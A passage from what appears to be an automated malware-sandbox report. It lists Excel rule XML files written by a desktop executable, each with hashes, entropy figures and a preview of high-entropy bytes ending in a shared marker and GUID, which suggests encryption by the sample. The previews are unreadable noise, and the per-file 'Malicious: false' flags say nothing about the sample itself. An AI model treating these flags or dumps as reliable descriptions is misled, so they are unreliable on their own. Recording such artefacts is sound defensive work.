SHA-512:	C52263D6C21E76C49F3146573ACEEFEF54EB736E297D1711FA0B57D7965AF44FC1DAC83A210186781873A292B6EE76D193F888E828EE872EFA490058152D6FEC
Malicious:	false
Preview:	<?xml!..8p....'......hIn0R.......d.5..+..E.^mQ..(M..ErZg.,67c.w....&.%Z....<.C.a.8.~\.Ey.....5e8..p>e.fc.v.l..5...d.V.R.X8.Z.2Z.G.4.F......RQ..L./.o.G.Y.F.<V...?....~w..Z2......:..ma...FQ.....7.....D.mT..X...T.....C.2.6....Fg..,1..z9.%.hn.....,o.....d.@).v.}j.j&&V...";.)#..S.Z.h.K.yE..n#O...\m8w/.....Rk<y.?..P$.@...jZ......m...a...Ef...#.:....v.....cy....'...T.N.q.....w^.e..O..u0.T........R.i..&;....C.x..{.....+.m.O..+..y..S...Ft'k2.;......P).W.J:.f<%z..K&..m...N]C......O..P2<......@B...X...m.....j...p1.r...7.PP/..;A.).jR...........'....tlv.].....m..9.+..H.T.......9.T..[d.....;......x..$...8...nRf..0).]X..t,..n.hP.o..d...wxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120636v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.714508762316774
Encrypted:	false
SSDEEP:	12:NInf/ndxq9SrtKkFuwUdO6pSmsZkexKeoAFrv71loGqtIsnE39M2cii9a:+n3ndU8rzFuwKOodecedF1eL7nE39pbD
MD5:	B31BE7EA19DDF2EF21AD4CB02728AD2A
SHA1:	25200516C208DC3FA134636B84D17D158A7BE1B9
SHA-256:	40D6867FC1DC14C386637F12F40BEED1073F7384C120DAA517AFE50E474145ED
SHA-512:	3014739D85D8401F9996541F2CD56643589AFA1A585D924175D92EEF23EC7DC062596573F5276847A6747901776A86BE8FC22451E1E4BB70A8143C72621B328B
Malicious:	false
Preview:	<?xml...N...DI.2.i6.A.G.`.H..Z.^.f.A..L..d..q~9n+M.-.o8j.._..oK>$.%..=p....M........y.......}.5.ZK...#5@K...Rsk.\.....Q..W..J...L+B$.VA.sF...p...?..T.P........._o..."....9.ND.W.~.-[.>..,.k~..B.N.u.$z5>:.;'.{.1..!O2.a8..K..RC.....\..0j...09.(...W.~...H]..[.......+B..D..H#_>:.....^..H.+t.&G.._{"...b..7.P......".!f.SP.%!.M....tY87.+..$.G."......A.r..hEf..>R.I....n7.Ji.R....n.90..S(R...4....!.....H.z).r....s0x7...,...[.%5%.&,..@L.kMf......3V....YM.'N.eE....=.5q....p.d..-...T......2...9..s.-X..]!3L...XC.U......vI.A:.n..#......C".K..^.......#$.m,.\.#<K..DP.N(.w..U....KZ..r$.&.iLG....u...^...GD...c..[. .Y...L..Z.........Vt..i4Z....;........d...R....<...z.:...~.M}E...0.[\T.{...).....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120637v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.719117105194032
Encrypted:	false
SSDEEP:	12:IWGbKRc3NFOrav0BUho6FlyV90O3T09QvMXE+XlWjcjMihFyGGK3E6JKR7U9M2cq:IWGl3NFOEhoA0vrvWpEmMihA9KHJK7UX
MD5:	29F36BCDAC57E1AFC87FD9D09BCA9257
SHA1:	75122791A915889ED9C11F261A7BFCBFC3113AFB
SHA-256:	4A24AC2571DAE89360D13B4B7AA7F5B36F819B777843400B2B7A705E1841BDCD
SHA-512:	EEEE2B880DEBDCB40444579002315DDDFBE3BB7C3F19D79006B9C80FA504E434C1F8CFB2B9122315C0A723040A62EEA21C3710DF4E46A0511CF3765A0D62DE0D
Malicious:	false
Preview:	<?xml..Lt`v......z.1]...-.L.....z.K.s..Z...f.`.....NVl.l.=...A..P....8..g..;.e.="R..U.?...0....U8h....[.7..H....X...I.U.9..x.g..:3.cQ.. .W.uW.DT.=%.Z...{........)..=..b.z..t......Z..8.t..Y...Xs....b.i.D...2........D.5..g.q2N.......g....P.q.....~...K..8R'..^..s.......<.!.~.....o.HSt.O.y..VD$..._.I.e..mV5.%:.d.\.......Uf.8....P)O../}.8.3/G....a...+.:4x._.........C..I...(.Gx..q.....%'..a...C3M$...i0n..{k-t.}hL..s.......].w.P.....j..\..M.i..@x....;.T....@...&"....05..)Wf..:...g......?..1K?.1...o...u.].=..%C.GPQZw.x.U..d.w,={t..1..B..@.O...]$>d.:.....R...hD.........N3...OS..+]@.....K..g...n...8.c.<.\.GSq'.<..i...W..KDE..\...`>j.A..n.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120638v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.745244081312767
Encrypted:	false
SSDEEP:	24:5woZgSL5Eh16xltmrQrGAvomerxjzVBAJ9oM0p6Rii9pbD:5woZmQlgE4mertVBC9oM0YJJD
MD5:	697BF2163528D6A516A45143EAACDB05
SHA1:	B80A6F30E770EDEB1FA4299396FDF9B8B5CB7C94
SHA-256:	1DCC46CD2C0A47E6C5293C2363DD03B4209C4933A57369F19DCB6F336E5132C4
SHA-512:	297D3CB5FE97799718A754C61A1EE5F8D62360525EA4063166D8837BA5F72479EE25804EB0D6F529995522D73F7DF6C01329A25C676CC6694789CBB839708F5B
Malicious:	false
Preview:	<?xml...Tlp'h...T..FKQ.i,...8kv#...J..g"D.K .....6hYE\q...7.t..!.L.+q7x...@.&....M.ffx.;6.".9....E...J.l%...A.w.E~KcS.!.G........N..x.fr.ST?..w........... qK.....)......m..4..!...j..H.=3y..*..../.1.....(..0......f..4..=...Q.J..h..].W..>...<....~..$F8.'G>.~A../..g..-.w..>b:xPU.4n{...<@m..W.l.R%..&.SV...).E...!.$..`.:.#m#Ejt6.\|.k.I............M....N:;..Br..=..e.m..Fm~_.+..).m..\n.%6.....f....9m..6...@H..?..o36...Q...........K..Q$.&...{.q.._.Z...[q@......e...T..5o.@....[]..A..n.?Zz..d.(.q..\a...Ca....!.....=\|m..b....P...T./.,...og@...'..\..X9T...!S?.<..d.Z.\|....ry..@m..<..g\c...ZwO.e..l..b....P.K.w..{..;.1.\|..p]....1....L&OFM.^.^.`.gw./@..^).X...v\I.,Nf.....0.i.{.Bco...LG.V.'......R.R.E..E.M.+0....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120639v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.650393225985373
Encrypted:	false
SSDEEP:	12:Rbz2HVUqD2UDEi3cghTyRoNyyDUI5VpjBTnc+r3rc8YwLQui2P0F8CGV9M2cii9a:x2H1CUDENgh0oNyyt5VpFnc27c8990FK
MD5:	574373A3CE83654CB3C4B7AB0FD63193
SHA1:	2714AB29B17381773C70F9E4C2FA5273B43CF0FB
SHA-256:	E7030BEEAEC082916AA16529B1A3AB1D1C360DDF06BADA28DE75806396E71D72
SHA-512:	64CCC286CEA9BF68A470E921E4F147D62D1A7BD6966B56E6D13EF8637993F2F65E2A47596C2AE2DC16D10F97BAA8A01C1112FAB6F631C52F1491C7C1D40B415D
Malicious:	false
Preview:	<?xml.....Wp}....A.L..H.f..,.........#......cSP..p.P..Q!#!E.O...O...:RI..:~x...S..is..%z...._.&r.YY.......7.YK.....p.sG.V.....5Pl...U];6..g.bU...$.."...rk..............-.....'..B.j[....... !qNvoa....G..rRXIm\.......E.......K...h.$....h.6.\|4Dd..e.~..iw.d../+...^y.Q...3r....z\|..{QN..>...h..b"..`7c?3...a7B..z..8.3..l........cc.$..i....?..l_eBm.....b...3-.N6....\|...m.....v...@e.+. .f.Z.-K./.a.....$.-. .P}.A[.....&.5%E"...A#-..a.K\|L...9..>n..?]h..1.....v.!..?.bC.R[..L.\|..%..js.O.j?........~.\..S.8..'.....\#B..uvP.4........v..b\.A'D..\.._.#1.v..zw-..C....&..R.$..@....\|....[...b..A].9..o.w...-.ND.yD/.>.G..[?...Y.X..s-q.p.....[...7..BxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120640v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.778237107904079
Encrypted:	false
SSDEEP:	24:MNQDCFrtebQCx/Y9cNO0Z+Mwi5AHxZx9lriS7YMk9pbD:XCFrteHIc5ZrGJriS8TJD
MD5:	1EA7045020B842CC1CBD6D7938306E5C
SHA1:	B0CB46C55A74B9420F8EE87D30AC515AF711D959
SHA-256:	6B942A4CF46EFA46AC3501A51AC003B772052B892922903E5CFF2A17FDBA892C
SHA-512:	9ECDA611D9DFA1481DE26E9FE43CC5C45EA43DEE7EC42CA85E3FF8658FBF1D808B358E8D38FC3CB2E6DC02FE850E0411ACD77FCC9A79166223786B069DBFCF1F
Malicious:	false
Preview:	<?xml._......N.\..6+....V...Y...w.E.=...3^....k.\k\.`..\...9.6....-I....q2..............\|p[.'q_......>.x.?....X......\.]a%....g.e..h-^.~..pH.........e..(O,l...K.!.>....Z....m..c.kf..!_.u...._....u..,...!.c..~.14.C..$M.dS..).y...z.....a...hL......V.....W...Su..J.y...%@.........w...}G..ls{.P.....oP5U.F.>...!..C...!...2R.ljrAv...z.......Q.-....J.$H..Pkq.C..(......0..IJi.m.+....w....vnn...&.....+.Y5.].. SJE.K....~.z.$0.F.......c.tcA.8;'s`.."$.r.b.'C...%B....7.L_d....c.]......V...0..F.D:........."..g>...p...m.....~N]....h.,.:..g...X..`....!..m.....'.I...JcT......\1..&.g..v .....,.}5..........S..r.u...N.2P...r...F..;-=....F....\.q:t$D.....h2....{..(./.....l#.k,.!....v.w.........Yh.,.U......xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120641v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.6948462065696255
Encrypted:	false
SSDEEP:	12:kaRee3R6qLYywjvw8r2L3coDlmL/TLlVrsO6i39GFzUQllvTByGI9M2cii9a:1kesWYbImUDQL/tBsNi3qUQllvTBRI9h
MD5:	B2D5E2735CEE405638FBEF853E3E4769
SHA1:	9413D1D90CEA2EE063159B5FE94DBCE84A91DDB7
SHA-256:	499C0D9DE3B9D861FD1BE9E3C344CCB31A4A1F04CC83C57983EE827923797E82
SHA-512:	F693B532C047384F70D32145EBE857C239D8E55E08A27B10565F5AFB683230489A686D89195B1A8134E34D313465C3B51A7031139779A6394ABD891B9BF9C6B0
Malicious:	false
Preview:	<?xml..e.9..P..Q...).........SK..w....0V..%.w............}R........V....;:....0 .....n8.s.....i.W.....(2".d.8.J..i..5+.{..qq...U.Z...t.........K+.y...k....\F..x....H.kSYvhC..1.XO..#......-..j.....V..~)...Z.g......tdf....2.....Q<.'rp.m.......6)......0.g.T.BK.G..1cY..\6lJ'.P.......}.C_.....g.6...).{..a6.....C. ......v..<KQ0..n..`.Wr..A\.]{'f...y.\.......y.....6.N.A..k..@.....y&@../..O..s.E....~n.J...Fr.^....A...s....1 ..J....Pi...zomK.bw..K{2T.M1`.^....l....J...Wy.%.k...i.7G..I...C.p.&...&*b.P.....f....V....P';H...3j.^...3(.j5.j...e.1..N,..J.]..."eJx!...>k.-..p.........os.#:.\|.....G.Y.'"6....di...L...g....i....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120642v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.666352476366529
Encrypted:	false
SSDEEP:	12:V2nu0X0EJGuEjAqhl1BNTha48Ouo1qiRAILS3Ki1HxHXkH6tGh+DOr9M2cii9a:VkGL8qhTEtmq9IW3Ki1RUatGhlr9pbD
MD5:	ECFC314CA7D35A43B1CBD11CB39E307F
SHA1:	45030786651A5BB3DCC4B423817434949C9F1FB1
SHA-256:	E5F0CFE8CDE1B8616882FA3D36A0A13F35EC7BC0546E438BF114A2D2704853B2
SHA-512:	D69987C5C8B29B2B617753592F5C155815BE1CF9E131CA8D9CE8A401BBD9AB7611617001F169B12459774D38B5AA9AB14316FB968D2F9BDC7DFC61D491E83167
Malicious:	false
Preview:	<?xml..Kb<...g..i.&.w.dM...=.E..h3..r..@..N.=....Qy.8.n........_.......\|b..S.N?..-=..~ _...U.......b...}C.~.c..X.hy...w.X.....xE.f..........X..C...?52..1'L..."..a....A+.j...LT.c..... EKtY....o........_......_a...5...:D..^2.WD....M.).Z.oz...l....;+Y..#..[7GX3....t...N2..\Gg[..2..]H..l.=6e.q;{...(Y.J]..&..f..P8i_%.]ZM...~..`.......1.E....s.X..H.9\|....qD...i.....7..@...........l....e@....L4.=^E.N..L..OJ......$..2r..gT`.e .J....l)..,...,m......#..}.-.)&...<..Dl.T=..71.t.....k.x...&..sI: .........d....``V..y#c.*).}..z$.l..S..W.......y..Y]..<..G..gax...l.<.b....M....Af.{..x....9].'.q.(.C6...W.c.._.3.?J...T.T..lw.Y\|..@.p.....&..J0......Y..~.8a./>..@m..C..TMO...D.....Y...`..M..1S....l.@.&MxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120643v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.696052935299223
Encrypted:	false
SSDEEP:	12:Ceh13wRFiezBH4at0mVxO9OwzU/MPCyjnOvS4VN5oFnBFzrJtaeiQgDVd8lV9M2X:b3wRlPDYbz2MP1jnd4VN8nnFHadc9pbD
MD5:	1870F273014B013BFFC726D07B6A06FB
SHA1:	84982DB2AD6410B26DF12EA1D7A0F6A69406E145
SHA-256:	B17151FC974A2EB379E7EAC3A000E01EEE65F9CCFF25EDBCF9D5A7E305E02EA7
SHA-512:	7D6D522319BD9A0FF545E5257055660E00EACECBF403F588FC3A2AEE000A207C23C92C437DBE3D8CA11B941C6176B78DD69FC9E82D71949E505817E8FF6E4129
Malicious:	false
Preview:	<?xml.59V=..u..Tx.-:2....GuqW.Go....k.p.8..K.@vv...\|.N.(\.7..K\[..NA.`.7^l......N.S.+..8_...&...j..Z\.........W...c ...e....8vg...v.~.n...\|;#i_#...{.N....Qz..`..fT..b.-y.?....v...Ig.S.].d..h.k.jI.+.V.?P)....C.\..$^...qQ..8 .o....$G..BH..b.....~_...0......ya.8.3...y^..5j....b...._{..C.....6..vH....Z0p...lZ..=(.....a.y.b..e.....r.tz....5.o...NA...9f..Y..ia..,8#....}...w...+...X(1..s.u..N.,M......Y...ns.8.v.N7.c.dQ.%H.N...E.1..lr..0..E.9.r..P...)......,RpT....S..Fd...+.iGX...1..oV.)..&yI. .."....q..Y......Z....y...4....".:..?..c.9tQ......7......'v...O;.m...>V.\|:..X...klY.5.:.X.?~..d.IAl...d3...5..i..k.....).5sj<..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120644v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.736511401663011
Encrypted:	false
SSDEEP:	24:rYItCR3fjFKwCZeu1toFa6EjhJF84im9pbD:rYItCRbFKrZeqto8jflJD
MD5:	07C00E5EB5332AC7B64A196D3CEDFA72
SHA1:	676187946B2E3FBF5B2B8D4EBF5248BBC03593B5
SHA-256:	D1E780F1218AEF56A3FF0BA0A5629E911480E59C2B6183BE8CD488CD163CEEE1
SHA-512:	7A7DF1B04CB1A174DC03F635BBDA1158A2E51E97E25AC2DFAE6067478F5A7248243B7CA421403E89C08652E11BD8A635E3B4332E21C4A09E9C5875CEE2D44A6F
Malicious:	false
Preview:	<?xml.r._.y....'Q...'.$Fu.D..4..My8T.....]u.....{.S..N....ru..%...-.. ..0<A.3/.\..F.X..)W.l.>.D...;.-...5GP....7.\...M\...'.Q.....{2...Qr.J(....'.`zr.g\|.\|.J.'..[xh......H.B'.{i...Y5U..dFU..+l.l....48..hF..1V._?...!.;...5&.m.3..K.^.8..p..9...:..J...Q.e....cIr.0:=k]yF..I.Pp...4Y.........Wg....[.....a.,5.Y......u.].T..=}.q.i...Z..=.C8.p..Z.r..L..f..j...XUL.)....v.XU.={.."9.\|..xDM........n.RM=.&...N.!...l.../..B./...P..z....Q......<...F5.!..Z...G...o#3`... -."P:..l..Ng.C....D...c..d...k%-...o.../Y.a....OV.)...F...r...J..t.J...b..$"Th.N...yq.AX..:.=.>$U?..\|..$(.^Xz.K..T..Y...7.4...m...C?.....h.Fgpb..S/...........O8A&{g.....>...f2.e..AX...>..../0E....=22.o.....#......m..7s..#.........Qm.p&..`y.L..~@wc.$xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120645v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.676393206029657
Encrypted:	false
SSDEEP:	12:Mn/bO/Pr/FBW2sPH8iUFyy+65bHUJ+ykHQyE6hP4H+PhtxelWhta+eS+26iM9M2X:M/YO28H8lnHNykPEK6QHo+f+26iM9pbD
MD5:	9F764597690988CDE5E7689498D9A203
SHA1:	D763D09C1F48E3EECCB46AECB73F24AD24541FA8
SHA-256:	1B9AC8FC29B4EBFA3C3F715F101AAAD72B3D68F1EE8512146F024E804D9847A3
SHA-512:	2D6581F7C2A5C693A68634C66F4A6DEAB9B9B12A6FDF23EC930B189B9F0D062DE83EEFFF63C03B7172CADB10D28959255B8D0F746CC03E01C3527451BA135B44
Malicious:	false
Preview:	<?xml.%n;..F..v..-...J.../.W..L.M}..q.? ..k..L+.y.,...N..J..g.......Dc(......5. ...........W.=...k..f..%.,x@....{OJ...9.pJ..vID..m\|.._.....'..&Y...~@a..Gp_qo..T....W.E".4... ..ff..C..)...7.h...........I.s..`u.Y...m...bH.k.@WQ$..h..8CLX.V...^Oj.....gXK......-.,._......:.U..7.4j..m..T......%.D.&"........r.4..]+..4.j.q.*@A..$K..\...C.......A)......e.L..D8H.M}(,.O....@w....ATJ`s.......o^....V..9.6.V4...X.<..?..1...HQ6.E.J.H...+.g..)EAd...4.2E8k.E_..........G.V@.8..u.oe_.r#..v..\|J{27x...X;.B.L....V.<q....H.a?..V....!..}....7......d.@C..ZJJ..7.xZ./...e...I...t...(.."9^...I...I&...Nlz.....R.".c.a..k.......... ..&aG...[v@E.d...v=s7h+....9Ix..PL.B....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120646v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.744011503341974
Encrypted:	false
SSDEEP:	24:b6914BiFzDZcI3zrgSzae96zAEkKQC9pbD:O914gcIDXwzhkYJD
MD5:	DBEA373F6576991F8061FB6FABAA869E
SHA1:	AA3531FE58E2BF70BC174E8E65FD1AB6AEE7CA09
SHA-256:	F3AE83A00CD8EE63C0D075607B7873E7AEFB14401E51ABD5B4B0F90EF78339EE
SHA-512:	D45D292EA5D2D1D7180FCB18F103027FFB1F64F6C35714B14D3583C8C6ADF51F6277152EC3B794BA4BB531E8961FAE5E2B7917D538BAD1B2AC8E4A2D205F36D1
Malicious:	false
Preview:	<?xml......DhK...._=.L...8..X\|...zv-.......#o..86wLx..cK._..-D..~.J...Z.i.qb.-..~....#v...-..Ph ..&S.R.N.......].q7T.....i..].$.+d}J..9.sNr...~].u...R......5.p..U0+6...._I...2l.Y.>NW.X...\m....{..D..,bMPo....D.(chE.&..:].Q.......5C'....V=.TI.J...u.aOT8.S.'.ch..}..O\|"p.tx"A.^........Wj.bpB.-....n..N....`.ah..&..!...+...H......~...@.LW.....t.D..z)...N..O...1.W..2..{.u......].g....U..u.`.."..`.r.sh.)f.eg...,{43...!l...w....C..-...._.2%...Q.B..L.....cn).:...Im..g-..%.7dUQ..q;.B.%.D.....p....<.-nn...z..`...P......}_...ME.......EV...U.H...\}H...7yR.........A..s...;.a(.R..jd.%&.u.. ..3.+.x.k...r......s.........>...i....e1......l....6$..u.M .t.......=...7..!7...j.6..9.@..F...\|..m..^v.j.#xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120647v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.712077682007513
Encrypted:	false
SSDEEP:	24:izRMgTVW46BHwDmLW/NMSfIf/TPxN89pbD:efw4cpaNMQSPPSJD
MD5:	F9D3CA7D5031982D1712B71723469783
SHA1:	E885F7354094CF3B5E333597D87FEC4D6BF4B068
SHA-256:	D1105CF3B56AD0BD31B23561DC40ED17142D8AE04FBD3FD529FE70F76F72FEA4
SHA-512:	24E62F6DD8EA87ECED046B7DED971402A9B15D041009B3D1D541DF3C78078BAFC572F3D154AD96F434AE0DDD4195AB4426F0580CCEEE55C81262588DB9438B59
Malicious:	false
Preview:	<?xml.......J.M.q.d..m.[.:;\<..8o..T.c..4..+..........Q8.4........Q...~V.n .......#.(9X.\|....X.m%...Wdy..q1.......t..G..(0J..S....M...S.&...l.C.YV.C.8.....vG_...46J......D.#f....%o.{.?J}........(..."j0..O.....~`....X\| k.Y...........$...6fb.u.....nh.+-...hSZD....C}.^....e.C...y..O;>..\....[....D..3a-...dqk}....bq....C6;.....{.UP..0..p.c.`z.l-.x.O;O......2.W...D9.!.h\|.H..?.T...\.?..Z ...y.;.`...i{$.$nI:..{..+w...4....>Np...c'K?m6.,fo...E.$.....+Z.d.?2x...\|+..\.....}-"..ir..k..m.1...D.v...K..;1....'.M.....Y..{7...-..... .Ov.V.}(2:...._g>........E..z.d...8...y...z.R.M.t......z?.<.._..u.v.~...\|..B...,.\|...A..F..FK9..t1x .85..i)...Li4r.3.1....[....g...p<C#>L....$xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120648v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	824
Entropy (8bit):	7.728225204988343
Encrypted:	false
SSDEEP:	24:pPH4hW7xbfW2mic+DFQS5y9HFl+sIV9pbD:pAKt8i5BQZ9HRIPJD
MD5:	EC63AE5EAB4928A6534830F55130C4DC
SHA1:	6FBB6F76C7C6A987A6E57A0B91E06A4F1837CBD6
SHA-256:	3A1DAC2C63EB947C6AB0F256996EE77B695CA8B1B7F4CD6F39D82DB1A1D9E07C
SHA-512:	813E3CCD3BCCF733B75D1481024D809C6A84F2D61DCC48A49FA829294A597F6D4312603C0BF68BED89AFFFE1DBDE4AC10B15E7E864A0F6C12045BA7B6BB67982
Malicious:	false
Preview:	<?xml........G7......\|>..^..{..H.....f8..x..r.7..3..al-.E.iT..>j.t.s....z..#.8........; 0....Sd\|.Y.(e}....d...?W.+-....U..>.Y.L.b.I..j_....Z..z.....w.2\|..4...<.38Sx..76.J.!.....ha..S..19...9........G.)..+.v......-.........\|....W.....#.x8.7.N..f.....SX.]........I..........\|...G.i.;.T...=c.+...%+..........:.y.x.>qI....3...]b..r.....7....c.......g.!.c.b...._.cp..<9...E!...0V.u>...SQj..d-...7..?._.N..b..bn...j........V..........d}/.$N.K$g..,....j<..I.3ph.o...}..f Z...s`.@.......z.q.\|R';sS.~n.c._.....`k.P..x......-...dE:.......S...Z.......{..^.m".....z..UA..x...4P_F..&...WTz>.,<..z._>_.e.ia...t?.#...`e...Q"...E.7..H....$.{...e;B.;....}........I...p.M....4...T...G.syYp..0dZ]O.4@.W.......\.\.BLX..c}Qx.....t.d'.[{.w.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120649v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.694682651129765
Encrypted:	false
SSDEEP:	12:YiIFKsmNQUza/OKyk72ZkIDca6SChWmu2BU6zxSwkc9eM3fFM+AO/1Dj9M2cii9a:YCdzamKGBDcyFmu+3zxNkc9eM3tLAO/l
MD5:	88D1CFCADDAA798CBB4238A58E6B8B2E
SHA1:	BBF5A652FFA3A091C6787652411DA7BF34879A1B
SHA-256:	7C308F3FF69DBBAD603E55F5A327CDFF85871A753C97B8B4418D2C312C89FF7B
SHA-512:	91D83281538DE68299FEEBA8F761E4F17EDDF9C26FA5428B6787E9DAFA340FB50D025FF6D7046673A86516EC4C4EAF3335FDAC73F9B7E0FCBFFD881740B99FF4
Malicious:	false
Preview:	<?xml%B.JA..,......(...P....p.qf......h(:o....v..Z..w..1\%L.....%cA.V\|?...3MT..(WW.5'....Sv........,.)..y..P...8a.K]...Y".p5..p`+.......%_.........`v..~B.w..q.2.:re.4+.W .'....^.f<m...-..........67.bn<.....M....Cq..BF..A......%.E.._..4....2.Sx..3^o.h.R.L..-.J.1..e..\|<1..o&.B\..........S5dv~.H.Z.A..........d....$......knh.sJ:5.0............g.6....S]...\.....!....n.....%.Y...rI.7../r....(...A.XWj...e....cjj.....U4...#pb.$.u.T\|.1\|Hxj.n..G.n?..p.n+......c.....}....=W...2...t.,..pY=...@...........;.6]..tia...M...q.S.R.HT._F.u.*un...a.p....o]bQ......`L...........{......h.....,...?t..z..x.w.........B.O:.\T..k..].. >....91.q..._...,xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120650v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.734978553721817
Encrypted:	false
SSDEEP:	24:Gbep160h6gbRhSjXOBg9oGqo+6qfIFI2JMBEm9pbD:Gqpw8gESoJf6PtYJD
MD5:	78BB60F5805E25E3EBA8E33D3BA4107B
SHA1:	A6A6A70430B556357F9BDF6D7A18A08924F974FA
SHA-256:	942311760620509F63928083010804DC8E41160AB9652B1ABEC32F892F1204B1
SHA-512:	E44CD920444A0673EFFCA582212934B77B2407C01BD2F2BC47E68743B7AC4A33D2A96380AE9926374B6BC76A4689DED4C0385A8566E4930D3E9DC93D1C0557D2
Malicious:	false
Preview:	<?xml.@..m..{A.9..D....B....Y.\|,.=.:.bS+.'{.T.N.aL=Ud......"....v"..s#lD?w..+..,nW.v.Jn^...........%.._Fa.0.....Iy.,n.......~u.....P..+.y.#....+..Z.=......6d.M.f2....Fpi..]....y.~k+..I.N&..4: d..l....c.o.. ...x....cx./{gV......e..lDn.\dY.......u....^.2.Z....(q..n1..J.q..9s0...'...(.\.3D....F...X+.[...F4..U..e....8.3af~.F........tr.+.'pa.L~..qI.;G......R..j.6.".....'.1...n.M......A`...OGD.G...v.\|/ ...2~..:..]..VY.....3.}8.a.9x......6.3...."..f.[.E..{Eg.c..=....w.....+.36.6...DI.<\|M>..h.j1.E..T.9....^..@.G......a...z.O6..~t.;..U.aY.....r..,.e"..a...X,%(..U{m!.Ey...P...pT.V.....[.xI.X..j;H}...)6.l._-.+L\|e.Nv.Z...6..."=T..... ML..z%..^-.B8.HN"...M=....X\57[...8.o.....`?...."...c..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120651v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.708630436201367
Encrypted:	false
